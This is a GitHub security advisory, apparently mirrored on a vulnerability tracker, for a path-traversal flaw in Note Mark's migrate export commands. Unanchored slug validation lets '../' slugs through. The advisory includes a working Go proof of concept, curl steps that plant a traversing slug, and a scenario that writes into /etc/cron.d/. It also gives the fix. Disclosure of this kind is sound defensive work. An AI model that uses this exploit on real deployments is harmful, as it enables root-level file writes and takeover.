GHSA-RQRH-8WPV-X7HH
Vulnerability from github – Published: 2026-07-09 13:41 – Updated: 2026-07-09 13:41Summary
Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.
The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.
This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug — used in the very same path.Join calls in the same two export functions — were left raw, and their input-side pattern guard is bypassable as shown above.
Vulnerable code
Slug input validation (backend/db/types.go, v0.19.4):
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateNote struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}
huma applies the pattern UNANCHORED (github.com/danielgtaylor/huma/v2@v2.37.3):
// schema.go
if s.Pattern != "" {
s.patternRe = regexp.MustCompile(s.Pattern)
// validate.go
if s.patternRe != nil {
if !s.patternRe.MatchString(str) {
res.Add(path, v, s.msgPattern)
regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.
Export sinks (backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:
// commandMigrateExportDataV1 / commandMigrateExportData
for _, book := range user.Books {
bookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw
for _, note := range book.Notes {
noteDir := path.Join(bookDir, note.Slug) // note.Slug raw
if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
return err
}
f, err := os.Create(path.Join(noteDir, "_index.md")) // escapes exportDir
// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name)
continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))
Impact
A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's _index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.
Attack scenario
- Attacker registers / uses any normal user account.
- Attacker
POST /api/books(or a note) withslug=../../../../../../etc/cron.d/x(passes the unanchored[a-z0-9-]+pattern). Stored verbatim. - Admin runs
note-mark migrate export-v1 --export-dir /data/backup(root). - Exporter does
path.Join("/data/backup", username, "../../../../../../etc/cron.d/x")which yields/etc/cron.d/x, thenos.MkdirAllcreates it andos.Create(path.Join(noteDir, "_index.md"))writes attacker-influenced content outside/data/backup.
Proof of concept
Self-contained Go reproducer pinning huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.
// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"os"
"path"
"strings"
"github.com/danielgtaylor/huma/v2"
"github.com/danielgtaylor/huma/v2/adapters/humago"
)
// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
Body struct {
Slug string `json:"slug"`
}
}
func main() {
mux := http.NewServeMux()
api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
var stored string
huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
out := &CreateBookOutput{}
out.Body.Slug = in.Body.Slug
return out, nil
})
const traversalSlug = `../../../../../../tmp/nmpoc-escape`
body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
mux.ServeHTTP(rec, req)
fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)
// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
negReq.Header.Set("Content-Type", "application/json")
negRec := httptest.NewRecorder()
mux.ServeHTTP(negRec, negReq)
fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)
// Export sink expression from backend/cli/migrate.go:187,191,203.
exportDir := "/tmp/nmpoc-exportroot"
_ = os.RemoveAll(exportDir)
_ = os.RemoveAll("/tmp/nmpoc-escape")
_ = os.MkdirAll(exportDir, 0o755)
bookDir := path.Join(exportDir, "victim", stored)
noteDir := path.Join(bookDir, "n")
_ = os.MkdirAll(noteDir, 0o755)
outPath := path.Join(noteDir, "_index.md")
_ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644)
escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped)
if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil {
fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d)))
}
}
Verbatim output (go run ., huma v2.37.3, go1.26.1):
[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"
The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export path.Join writes the note file outside the export root.
End-to-end reproduction
Against the released image ghcr.io/enchant97/note-mark-aio:0.19.4 (the GHSA-g49p fix release):
# 1. start
docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \
-e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4
# 2. register + login (capture Auth-Session-Token cookie)
curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Attack3r!","name":"a"}'
TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \
| sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p')
# 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern
curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \
-b "Auth-Session-Token=$TOKEN" \
-d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'
# response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)
# 4. add a note under that book (any valid note slug), then trigger admin export
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# 5. observe the note _index.md written outside /data/backup
docker exec nm ls -la /tmp/nmpoc-escape/
The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).
Suggested fix
Apply filepath.Base() (the same idiom already used for asset.Name in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:
bookSlug := filepath.Base(book.Slug)
noteSlug := filepath.Base(note.Slug)
if bookSlug != book.Slug || noteSlug != note.Slug {
log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug)
continue
}
bookDir := path.Join(exportDir, user.Username, bookSlug)
noteDir := path.Join(bookDir, noteSlug)
Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex pattern:"^[a-z0-9-]+$", or reject strings.ContainsAny(slug, "/\\.") in the create/update handlers (mirroring the PostNoteAsset header check added by GHSA-g49p). user.Username (pattern:"[a-zA-Z0-9]+") is also unanchored and should be anchored for the same reason.
Affected versions
<= v0.19.4 (current latest release). The slug components are used unsanitized in backend/cli/migrate.go at v0.19.4, the release that fixed the sibling asset.Name traversal (GHSA-g49p-4qxj-88v3).
Fix PR
A fix is prepared on the temporary private advisory fork: enchant97/note-mark-ghsa-rqrh-8wpv-x7hh PR #1. It anchors the slug/username pattern tags (^[a-z0-9-]+$ / ^[a-zA-Z0-9]+$) at the input layer and adds defense-in-depth filepath.Base() checks to both export functions, plus a regression test. go test ./backend/db/ passes with the fix and fails against the old unanchored pattern.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/enchant97/note-mark/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260601210719-67b7de04308a"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50553"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T13:41:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nNote Mark validates book and note `slug` values with the OpenAPI/huma tag `pattern:\"[a-z0-9-]+\"`. huma compiles this with `regexp.MustCompile(s.Pattern)` and tests it with `patternRe.MatchString(str)`, an UNANCHORED match. Because the pattern is not anchored (`^...$`), any string that merely CONTAINS one `[a-z0-9-]` substring passes validation. A slug such as `../../../../../../tmp/escape` is accepted and stored verbatim.\n\nThe data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join these unsanitized slugs straight into the output path with `path.Join` / `filepath.Join`, then `os.MkdirAll` the directory and `os.Create` the note file. `path.Join` resolves the `../` segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.\n\nThis is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added `filepath.Base(asset.Name)` to sanitize the asset filename, but the adjacent path components `book.Slug` and `note.Slug` \u2014 used in the very same `path.Join` calls in the same two export functions \u2014 were left raw, and their input-side `pattern` guard is bypassable as shown above.\n\n## Vulnerable code\n\nSlug input validation (`backend/db/types.go`, v0.19.4):\n\n```go\ntype CreateBook struct {\n\tName string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool `json:\"isPublic,omitempty\" default:\"false\"`\n}\n\ntype CreateNote struct {\n\tName string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n}\n```\n\nhuma applies the pattern UNANCHORED (`github.com/danielgtaylor/huma/v2@v2.37.3`):\n\n```go\n// schema.go\nif s.Pattern != \"\" {\n\ts.patternRe = regexp.MustCompile(s.Pattern)\n```\n\n```go\n// validate.go\nif s.patternRe != nil {\n\tif !s.patternRe.MatchString(str) {\n\t\tres.Add(path, v, s.msgPattern)\n```\n\n`regexp.MatchString(\"[a-z0-9-]+\", \"../../../../tmp/escape\")` is `true` (it matches the `tmp` substring), so the traversal slug passes and `BooksService.CreateBook` / `NotesService` store it verbatim.\n\nExport sinks (`backend/cli/migrate.go`, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:\n\n```go\n// commandMigrateExportDataV1 / commandMigrateExportData\nfor _, book := range user.Books {\n\tbookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw\n\tfor _, note := range book.Notes {\n\t\tnoteDir := path.Join(bookDir, note.Slug) // note.Slug raw\n\t\tif err := os.MkdirAll(noteDir, os.ModePerm); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tf, err := os.Create(path.Join(noteDir, \"_index.md\")) // escapes exportDir\n```\n\n```go\n// the same functions DO sanitize the sibling asset name:\nassetFileName := filepath.Base(asset.Name)\nif assetFileName == \"/\" || assetFileName == \".\" {\n\tlog.Printf(\"disallowed asset filename found \u0027%s\u0027, skipping\\n\", asset.Name)\n\tcontinue\n}\nf, err := os.Create(path.Join(assetsDir, asset.ID.String()+\".\"+assetFileName))\n```\n\n## Impact\n\nA low-privilege authenticated user (any registered account that can create a book/note) sets a traversing `slug`. When an administrator later runs `note-mark migrate export` or `export-v1` (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note\u0027s `_index.md` to an arbitrary filesystem location outside the export directory. With root, this allows writing to `/etc/cron.d/`, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.\n\n## Attack scenario\n\n1. Attacker registers / uses any normal user account.\n2. Attacker `POST /api/books` (or a note) with `slug` = `../../../../../../etc/cron.d/x` (passes the unanchored `[a-z0-9-]+` pattern). Stored verbatim.\n3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root).\n4. Exporter does `path.Join(\"/data/backup\", username, \"../../../../../../etc/cron.d/x\")` which yields `/etc/cron.d/x`, then `os.MkdirAll` creates it and `os.Create(path.Join(noteDir, \"_index.md\"))` writes attacker-influenced content outside `/data/backup`.\n\n## Proof of concept\n\nSelf-contained Go reproducer pinning `huma v2.37.3` (Note Mark\u0027s exact version) and Note Mark\u0027s exact `CreateBook` DTO + the exact export `path.Join` expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.\n\n```go\n// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\n\t\"github.com/danielgtaylor/huma/v2\"\n\t\"github.com/danielgtaylor/huma/v2/adapters/humago\"\n)\n\n// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.\ntype CreateBook struct {\n\tName string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool `json:\"isPublic,omitempty\" default:\"false\"`\n}\ntype CreateBookInput struct{ Body CreateBook }\ntype CreateBookOutput struct {\n\tBody struct {\n\t\tSlug string `json:\"slug\"`\n\t}\n}\n\nfunc main() {\n\tmux := http.NewServeMux()\n\tapi := humago.New(mux, huma.DefaultConfig(\"note-mark-poc\", \"1.0.0\"))\n\tvar stored string\n\thuma.Register(api, huma.Operation{OperationID: \"create-book\", Method: http.MethodPost, Path: \"/api/books\"},\n\t\tfunc(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {\n\t\t\tstored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim\n\t\t\tout := \u0026CreateBookOutput{}\n\t\t\tout.Body.Slug = in.Body.Slug\n\t\t\treturn out, nil\n\t\t})\n\n\tconst traversalSlug = `../../../../../../tmp/nmpoc-escape`\n\tbody := fmt.Sprintf(`{\"name\":\"x\",\"slug\":%q}`, traversalSlug)\n\treq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(body))\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\trec := httptest.NewRecorder()\n\tmux.ServeHTTP(rec, req)\n\tfmt.Printf(\"[validation] slug=%q status=%d stored=%q\\n\", traversalSlug, rec.Code, stored)\n\n\t// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.\n\tnegReq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(`{\"name\":\"x\",\"slug\":\"@@@@\"}`))\n\tnegReq.Header.Set(\"Content-Type\", \"application/json\")\n\tnegRec := httptest.NewRecorder()\n\tmux.ServeHTTP(negRec, negReq)\n\tfmt.Printf(\"[neg-control] slug=\\\"@@@@\\\" status=%d (expect 422)\\n\", negRec.Code)\n\n\t// Export sink expression from backend/cli/migrate.go:187,191,203.\n\texportDir := \"/tmp/nmpoc-exportroot\"\n\t_ = os.RemoveAll(exportDir)\n\t_ = os.RemoveAll(\"/tmp/nmpoc-escape\")\n\t_ = os.MkdirAll(exportDir, 0o755)\n\tbookDir := path.Join(exportDir, \"victim\", stored)\n\tnoteDir := path.Join(bookDir, \"n\")\n\t_ = os.MkdirAll(noteDir, 0o755)\n\toutPath := path.Join(noteDir, \"_index.md\")\n\t_ = os.WriteFile(outPath, []byte(\"PWNED-NOTE-CONTENT\\n\"), 0o644)\n\tescaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+\"/\")\n\tfmt.Printf(\"[export] joined=%q escapedExportDir=%v\\n\", outPath, escaped)\n\tif d, err := os.ReadFile(\"/tmp/nmpoc-escape/n/_index.md\"); err == nil {\n\t\tfmt.Printf(\"[export] SENTINEL written OUTSIDE exportDir =\u003e %q\\n\", strings.TrimSpace(string(d)))\n\t}\n}\n```\n\nVerbatim output (`go run .`, huma v2.37.3, go1.26.1):\n\n```\n[validation] slug=\"../../../../../../tmp/nmpoc-escape\" status=200 stored=\"../../../../../../tmp/nmpoc-escape\"\n[neg-control] slug=\"@@@@\" status=422 (expect 422)\n[export] joined=\"/tmp/nmpoc-escape/n/_index.md\" escapedExportDir=true\n[export] SENTINEL written OUTSIDE exportDir =\u003e \"PWNED-NOTE-CONTENT\"\n```\n\nThe traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export `path.Join` writes the note file outside the export root.\n\n## End-to-end reproduction\n\nAgainst the released image `ghcr.io/enchant97/note-mark-aio:0.19.4` (the GHSA-g49p fix release):\n\n```bash\n# 1. start\ndocker run -d --name nm -p 8080:8080 -e JWT_SECRET=\"$(openssl rand -base64 32)\" \\\n -e PUBLIC_URL=\"http://localhost:8080\" ghcr.io/enchant97/note-mark-aio:0.19.4\n# 2. register + login (capture Auth-Session-Token cookie)\ncurl -s -X POST localhost:8080/api/users -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"name\":\"a\"}\u0027\nTOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"grant_type\":\"password\"}\u0027 \\\n | sed -n \u0027s/.*Auth-Session-Token=\\([^;]*\\).*/\\1/p\u0027)\n# 3. create a book with a traversing slug \u2014 passes the [a-z0-9-]+ pattern\ncurl -s -X POST localhost:8080/api/books -H \u0027Content-Type: application/json\u0027 \\\n -b \"Auth-Session-Token=$TOKEN\" \\\n -d \u0027{\"name\":\"x\",\"slug\":\"../../../../../../tmp/nmpoc-escape\"}\u0027\n# response echoes \"slug\":\"../../../../../../tmp/nmpoc-escape\" (accepted, 200/201)\n# 4. add a note under that book (any valid note slug), then trigger admin export\ndocker exec nm /note-mark migrate export-v1 --export-dir /data/backup\n# 5. observe the note _index.md written outside /data/backup\ndocker exec nm ls -la /tmp/nmpoc-escape/\n```\n\nThe self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).\n\n## Suggested fix\n\nApply `filepath.Base()` (the same idiom already used for `asset.Name` in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:\n\n```go\nbookSlug := filepath.Base(book.Slug)\nnoteSlug := filepath.Base(note.Slug)\nif bookSlug != book.Slug || noteSlug != note.Slug {\n\tlog.Printf(\"disallowed slug found, skipping book=%q note=%q\\n\", book.Slug, note.Slug)\n\tcontinue\n}\nbookDir := path.Join(exportDir, user.Username, bookSlug)\nnoteDir := path.Join(bookDir, noteSlug)\n```\n\nRoot cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex `pattern:\"^[a-z0-9-]+$\"`, or reject `strings.ContainsAny(slug, \"/\\\\.\")` in the create/update handlers (mirroring the `PostNoteAsset` header check added by GHSA-g49p). `user.Username` (`pattern:\"[a-zA-Z0-9]+\"`) is also unanchored and should be anchored for the same reason.\n\n## Affected versions\n\n`\u003c= v0.19.4` (current latest release). The slug components are used unsanitized in `backend/cli/migrate.go` at v0.19.4, the release that fixed the sibling `asset.Name` traversal (GHSA-g49p-4qxj-88v3).\n\n## Fix PR\n\nA fix is prepared on the temporary private advisory fork: `enchant97/note-mark-ghsa-rqrh-8wpv-x7hh` PR #1. It anchors the slug/username `pattern` tags (`^[a-z0-9-]+$` / `^[a-zA-Z0-9]+$`) at the input layer and adds defense-in-depth `filepath.Base()` checks to both export functions, plus a regression test. `go test ./backend/db/` passes with the fix and fails against the old unanchored pattern.\n\n## Credit\n\nReported by tonghuaroot.",
"id": "GHSA-rqrh-8wpv-x7hh",
"modified": "2026-07-09T13:41:35Z",
"published": "2026-07-09T13:41:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-rqrh-8wpv-x7hh"
},
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/commit/67b7de04308a858ef27ceff87b514067b6d667e5"
},
{
"type": "PACKAGE",
"url": "https://github.com/enchant97/note-mark"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.